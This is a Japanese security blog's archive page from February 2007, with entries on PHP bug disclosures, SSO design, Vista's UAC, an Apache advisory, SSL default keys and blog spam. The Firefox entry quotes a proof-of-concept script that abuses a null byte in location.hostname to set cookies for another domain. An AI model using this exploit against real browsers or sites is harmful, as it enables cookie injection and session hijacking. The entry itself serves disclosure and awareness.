月: 2007年2月

Month of PHP bugs

Stefanさんが公言していた通り、セキュリティホールの公開が3月から始まるそうです。

The Month for the “Month of PHP bugs” was choosen and it will be March. This means I will post every day in March information about one or more vulnerabilities within PHP.

PHPの開発者は知っているがPHPの利用者はあまり知らないセキュリティ上の問題などもどんどん公開すればよいと思います。(セキュリティホールとして直すつもりがない物もあったりするので… )

たぶん私も知らない脆弱性もあるはずです。この忙しい時に対応しなければならないので困ったものです。せめて4月にしてもらいたい…

不正アクセス行為の現状

2/22日に総務省が公開している

不正アクセス行為の発生状況及びアクセス制御機能に関する技術の研究開発の状況
http://www.soumu.go.jp/s-news/2007/070222_3.html

「表2-2 不正アクセス行為の態様の推移」によると、昨年はセキュリティホールを利用してコンピュータを攻撃して検挙した事件はなかったそうです。以前はセキュリティホール攻撃型での検挙もあったのですが、セキュリティホールを攻撃するのはリスクが高いことが認知された(?)結果かもしれません。

金目当てならオークションが一番手っ取り早い、ということのようですね。

問題:SSOの実装

WebサイトでSSO(Single Sign On)を実装するところも増えてきています。
比較的最近、SSO実装について議論する機会が幾つかありました。WebでSSOを実装する場合にどう実装すべきか議論したのですが、設計上に問題がある実装をイメージされている場合がありました。

Webサイトの場合、認証情報・状態を管理するサーバ(認証サーバ )とそれを利用するサーバ(認証クライアント)が通信してSSOを実現します。

SSOの目的は

  • 認証情報(ユーザ名とパスワード)を一元管理する
  • 認証状態(ログイン状態)を一元管理する

です。

問題:SSOの実装には認証サーバと認証クライアントの通信にユーザ名・パスワードは必要ありません。認証サーバと認証クライアント間の通信にユーザ名・パスワードが必要ないSSO実装を述べよ。

CAS(JA-SIG Central Authentication Service)、JOSSO、OpenSSO等を使う、と言う手もあります。(JOSSO 1.5はPHP、ASPのインターフェースもできたようです)これらのSSOシステムを使うと問題の意味がありません。LLだけで作ってもたいした手間ではないので解答は全部自前で実装することが前提です。適切なセッション管理を各認証クライアント(サーバ)が行っている事とします。

解答は別のブログエントリで。
# 忙しいので早くても再来週くらい、かな。

企業ユーザはVistaにアップグレードすべきか?

以前のエントリでVistaへのアップグレードを薦めていますが、これは個人ユーザはアップグレードした方が良い、できればすべての個人Windowsユーザがアップグレードした方が良いと思っています。非常に多くの個人ユーザPCがボット化されている現状を考えるとXPよりVistaのセキュリティモデル(UAC)の方が優れていることは明らかです。

しかし、企業ユーザも早くVistaにアップグレードするべきとは考えていません。私が書かなくでも既に多くのブログや記事などでVistaへのアップグレードで発生する問題とXPで提供されている機能の考慮すると、アップグレードするメリットは多くない事は明らかです。アプリケーションの互換性チェックとアプリケーションの修正やバージョンアップ、実際のアップグレード作業には非常に多くのコストが必要になります。XPでも適切に管理されているPCであれば、ホームPCに見られるような「常時管理者」でログインするセキュリティ上の問題もありません。既に適切に運用・管理されているXPであれば、Vistaにアップグレードする事により、より良いセキュリティが提供される訳でもありません。

一般的な企業環境ではWindowsのクライアントはドメインに参加し、一般ユーザはドメインの通常ユーザとしてログインして利用します。ホームPCの様に管理者グループの所属するユーザでログインするような事はないはずです。普通の企業のWindows PCはファイルアクセス権限も適切に管理されているので、一般ユーザはProgram FilesフォルダやWindowsフォルダに書き込みを行えません。

適切に運用・管理されている企業のWindowsクライアントは家庭のPCのようにUACによるセキュリティ上のメリットはありません。既にXPを適切に運用している企業はVistaへのアップグレードは「できる時に行えばよい」程度の優先度です。

Vista無用、有用どちらの議論にしても対象がだれなのか明確にした方がよいですね。企業ユーザはサポート・互換性の問題があるのでVistaを選択する必要性はないですが、個人ユーザが新規にPCを購入する場合は、既に持っているものでVistaで使えないなどの問題がない限り、迷わずVistaにするべきと思います。

# XP -> Vistaへのアップグレードは難しくないですが
# アップグレード後の調整は素人向けとは言えないので
# 自身の無い方にはお勧めしません。

# とはいっても自分が普段使っているアカウントがAdministrators
# グループに所属している方はVistaへのアップグレードをお勧め
# します。

Firefox 2.0の脆弱性

Firefox 2.0にNullバイト攻撃の可能性、よくあるバイナリセーフ/非バイナリセーフの問題ですが…

https://bugzilla.mozilla.org/show_bug.cgi?id=370445

The problem lies in how Firefox handles writes to the ‘location.hostname’ DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL – including a string containing \x00.

実験ページ
http://lcamtuf.dione.cc/ffhostname.html

そのページのJavaScript

function do_evil(onload) {
  if (!onload) {
    try { location.hostname='lcamtuf.dione.cc\x00www.coredump.cx'; } 
      catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
  } else if (location.hostname != 'lcamtuf.dione.cc') {
    document.cookie = 'testcookie=1234; domain=.coredump.cx; path=/';
    window.location = 'http://lcamtuf.coredump.cx/ffhostname.cgi';
  }

}

JavaScriptが実行できればどのサイトのクッキーでも設定できてしまいます。かなり強力な脆弱性なので NoScript を使いましょう…
https://addons.mozilla.org/firefox/722/

備考:Session Adoptionに脆弱なサイト(外部で設定されたセッションキーを受け入れるサイト)のユーザは危険。

Apacheの脆弱性

まだ確認してませんがこんなのが…

http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/apache/index.html

The Apache web server is prone to several non crítical vulnerabilities -by themselves- that could allow
by combining them, and on some specific scenarios, to carry out serious attacks, some of them with that impact:

1) Execution of script code in the client side:

1a)Web “defacements” (E-graffity)
2b)Phishing (authentication forms)
3c)System compromise (script execution on same domain than Admin Panel)

2) Location header injection -cache poisoning-:

2a) Denial of service
2b) Partial URL redirection

4) And the most innovative and interesting thing: almost arbitrary injections in the server HTTP response stream:

4a) “on the fly” fake injection of virus.
4b) In the future, with some additional hack, arbitrary injection of binaries -trojans, etc.-

SSL Hell

10月30日作成のページですが今みました。

Dan Kaminsky’s SSL Hell

結構笑えます。(英語のプレゼンテーションビデオです)
これではどのサイトも信用できないです。

追記:
ビデオの見なくても良いように一番重要な点だけ書きます。

SSLの公開鍵・秘密鍵がデフォルトのまま使っているサイトが多くある、というくだりです。銀行などのサイトでも「ありえない」と思える割合のサイトがデフォルトのキーペアを使っていて暗号化の意味がなくなっている!!!のだそうです。(詳しくはビデオを参照)

キーはサイト毎に生成するになぜこんな事が起きる?と思われる方もいるかもしれません。ハードウェア系のSSLソリューションには静的に生成されたデフォルトのキーペアが設定されている場合があるのですが、なんとそのキーを使っているサイトが多数存在する、とこのプレゼンで言っています…

笑うに笑えないですが、不謹慎にも笑ってしまいました。

教訓 ‐ デフォルトパスワードだけでなくデフォルトの鍵も使わない!
(当たり前すぎです…)

Windows XP -> Vista アップグレード

Windows XPからVistaへアップグレードする事に懐疑的な意見もありますが、一般ユーザの多くがVistaに乗り換えるだけでもかなりのスパイウェアなどのマルウェア被害を防ぐ事が可能になると思っています。最も効果的な機能はUAC(User Access Control: 権限がたりない場合や管理者権限を必要な操作の際にユーザ認証や確認を行うダイアログを表示する機能)ですがコントロールパネルのユーザアカウントで簡単に無効(一応有効にする事を推奨するコメントはありますが…)できるのはどうかと思います。サポート負荷を考えると仕方ないとは思いますがもう少しわかり辛い方法(レジストリの編集、ポリシーの変更)でも良いような気がします。

個人的にはUACがVistaを買う一番の理由ですがCNETでは全然相手にされてないですね…

http://www.cnettv.com/9710-1_53-26068.html?tag=bubbl_1 (英語のビデオ)

普通のマルチユーザOSでは通常作業は通常ユーザで行います。特別な権限が必要な場合は別コンソールでログインしたりsudoコマンドを使ったりします。Windows XPまではrunasコマンドくらいしか別権限でコマンドを実行できませんでした。このrunasコマンドは使い勝手も悪く、管理者がよく使用するコントロールパネルの実行など、実用的なものではないです。XPのデフォルトユーザのOwnerは管理者権限を持っていて普通のユーザは普通にシステム管理者権限でマルチユーザOSを使っています。この点ではシングルユーザOSと同じレベルという時代遅れな使い方になっていました。Vistaは初めて普通ユーザは普通のユーザ権限で使えるようなったWindowsという点だけで十分にアップグレードに値すると思います。RSA Conferenceでも指摘されていすが最近のマルウェアはカーネルレベルで存在を隠す様になってきています。PCを”普通”は”普通のユーザ”で使うこことが当たり前にならなければならないと思います。

# コンピュータに詳しい方でも自分のアカウントがAdministratorsに所属
# している方も多いです…
# 本来ならUACのようなあって当然の機能はWindows NT/2000で導入される
# べきだったと思います。UACを追加するXP SP3とかあればよいのですけ
# どね。

さて本題(?)のXP->Vistaへのアップグレードですが、さすがに使っているPC環境をアップグレード(新規・別途にインストールではなくアップグレード)をベータ版ではする気にならなかったので試したことがありませんでした。正規版のDVDでいくつかの本当に使っているWindows XPをVistaにアップグレードしてみました。

実際に使っているPCをVistaにアップグレードして気づいたのはマウントされたボリュームのアクセス権限エラーです。Vistaにアップグレードするとファイルのアクセス権をかなり安全な状態にしてくれますが、マウントされたボリュームには問題があるようです。アクセス権限を非常に緩い設定(ファイルおよびボリュームの両方)に変えてもボリュームをまたぐファイルの移動で「権限がない」とエラーになってしまうようです。

仕方がないのでファイルをコピーしてコピー元のファイルを消して移動しています。MSのサイトをさっと検索してみましたが同様の問題は登録されていないようでした。何か設定を変えると移動できるようになるのかも知れませんが今のところ解決方法は分かっていません。

XPでは普通にアクセスできていたマウントしたボリュームは、アップグレード後にはファイルの作成さえできない状態(アクセスが全くできない状態)だったのでNTFSのACLに慣れていないユーザはかなり戸惑う可能性があります。

いろんな物(ネイティブなVGAカードドライバ、AU Music Port、省電力制御アプリ、ネットワーク設定アプリなど)が使えなかったりありますが普段使用しているアプリケーションはすべて問題なく動作しています。

追記:
私はVistaは買いだと思います。一般コンシューマがXPよりマルウェアに感染するリスクはかなり低下すると思います。XPにUACがあれば特にVistaをお勧めすることもなかったと思います。

Vistaにも悪い部分もあります。以下が参考リンク。

Wait! Don’t Buy Microsoft Windows Vista
http://www.pcworld.com/article/id,128669-page,1/article.html

10 reasons not to get Vista
http://apcmag.com/5049/10_reasons_not_to_get_vista

BadVista.org
http://badvista.fsf.org/

PukiwikiからMediawikiに乗り換え

SPAMMERからのページ改ざんや作成が日を追うごとに増えてきているので、wikiを管理が行いやすいMediawikiに乗り換える事にしました。まとめて移行する時間はないので段階的に移行する事になります。

「あれ凍結したはずのページが改ざん?」と思ったら大文字を小文字に変えて新しいページを作っていました。
しかし、SPAMMERも色々考えますね。

# こんな事に時間を使うより、書きたい事は沢山あるので、
# コンテンツをマシにしたいのですけどね…
# タイポをよくするので親切な方から直接直して頂いてい
# たりしたのですが認証なしで編集は時代遅れですから
# 仕方ありません…

PHP 5.2.1リリース

情報としては古くなっていますが、念のため書きます。PHP 5.2.1がリリースされています。

JP-CERTのアドバイザリ(JPCERT/CC REPORT 2007-02-07)にMODxのXSSが記載されていましたがこっちの方が重要性は高いと思われます。次のアドバイザリでは記載されるかもしれませんが、例によってPHP4は置き去りにされているので、記載されない可能性も高いと思います。私が編集者だったらどうするかかなり迷います。
# MODxはコードをチラッとみただけで試すのを諦めたのですが
# いろいろあるようですね。

時間ができたらCode Blogの方にいろいろ書いてみたいと思っています。
# いつできるか?が問題だったり….

SPAMをテーマにしたエントリにSPAM

皮肉な事にSPAMをテーマにしたエントリにSPAMがありました。

http://blog.ohgaki.net/index.php/yohgaki/2006/07/14/10a_ya_sa_sa_ia_sa_a_ra_a_ca_a_ma_a_a_ms#c14228
(ドメイン名にSPAMを付けてページランクに影響しないようにしています)

既にあるコメントをコピーして張り付ける、といった手口ですが適当にモデレートしていると許可してしまいそうな手口です。この手の手法を使ったSPAMはまだ少ないですが困ったものです。

このSPAMはコメントでしたがトラックバックにCAPTCHAを付ける訳にはいきません。またトラックバックの妥当性を検証するにはトラックバック先のURLを見て検証する必要がありますが、そのURL自体が罠ページになっていてブラウザのセキュリティホールを攻撃し任意コードを実行されたりリスクもあります。有名サイト、例えばgoogle.com等、をタイポするとブラウザの脆弱性を攻撃しマルウェアをインストールしようとするサイトがあるくらいなのでトラックバックSPAMで誘導するくらいの事はやりかねません…トラックバックは便利な機能ですがセキュリティ的には非常に脆弱な機能と言えると思います。